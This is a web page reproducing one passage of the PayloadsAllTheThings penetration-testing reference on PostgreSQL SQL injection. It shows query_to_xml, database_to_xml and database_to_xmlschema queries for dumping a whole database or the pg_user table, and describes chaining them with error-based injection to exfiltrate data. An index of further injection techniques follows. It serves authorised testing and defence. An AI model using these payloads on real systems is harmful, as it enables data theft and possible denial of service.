Skip to content
BackEsc
Sign in

SQL Injection · passage 141 of 186

PostgreSQL Injection: PostgreSQL XML Helpers

2 code blocks · SQL Injection/PostgreSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub
SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.

SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 131 to 156, reading order first.

  1. OracleSQL Injection: Package oscommand§ 1311 code block · OracleSQL Injection.md
  2. OracleSQL Injection: DBMSSCHEDULER Jobs§ 1321 code block · OracleSQL Injection.md
  3. OracleSQL Injection: OracleSQL File Manipulation§ 133text · OracleSQL Injection.md
  4. OracleSQL Injection: OracleSQL Read File§ 1341 code block · OracleSQL Injection.md
  5. OracleSQL Injection: OracleSQL Write File§ 1351 code block · OracleSQL Injection.md
  6. PostgreSQL Injection: PostgreSQL Injection§ 136text · PostgreSQL Injection.md
  7. PostgreSQL Injection: PostgreSQL Comments§ 137text · PostgreSQL Injection.md
  8. PostgreSQL Injection: PostgreSQL Enumeration§ 138text · PostgreSQL Injection.md
  9. PostgreSQL Injection: PostgreSQL Methodology§ 139text · PostgreSQL Injection.md
  10. PostgreSQL Injection: PostgreSQL Error Based§ 1402 code blocks · PostgreSQL Injection.md
  11. PostgreSQL Injection: PostgreSQL XML Helpers§ 1412 code blocks · PostgreSQL Injection.md
  12. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent§ 1421 code block · PostgreSQL Injection.md
  13. PostgreSQL Injection: Identify Time Based§ 1431 code block · PostgreSQL Injection.md
  14. PostgreSQL Injection: Database Dump Time Based§ 1441 code block · PostgreSQL Injection.md
  15. PostgreSQL Injection: Table Dump Time Based§ 1451 code block · PostgreSQL Injection.md
  16. PostgreSQL Injection: Columns Dump Time Based§ 1462 code blocks · PostgreSQL Injection.md
  17. PostgreSQL Injection: PostgreSQL Out of Band§ 1471 code block · PostgreSQL Injection.md
  18. PostgreSQL Injection: PostgreSQL Stacked Query§ 1481 code block · PostgreSQL Injection.md
  19. PostgreSQL Injection: PostgreSQL File Read§ 149text · PostgreSQL Injection.md
  20. PostgreSQL Injection: PostgreSQL File Write§ 150text · PostgreSQL Injection.md
  21. PostgreSQL Injection: Using COPY TO/FROM PROGRAM§ 1512 code blocks · PostgreSQL Injection.md
  22. PostgreSQL Injection: Using libc.so.6§ 1521 code block · PostgreSQL Injection.md
  23. PostgreSQL Injection: Alternative to Quotes§ 153text · PostgreSQL Injection.md
  24. PostgreSQL Injection: PostgreSQL List Privileges§ 1541 code block · PostgreSQL Injection.md
  25. PostgreSQL Injection: PostgreSQL Superuser Role§ 1551 code block · PostgreSQL Injection.md
  26. SQLite Injection: SQLite Injection§ 156text · SQLite Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in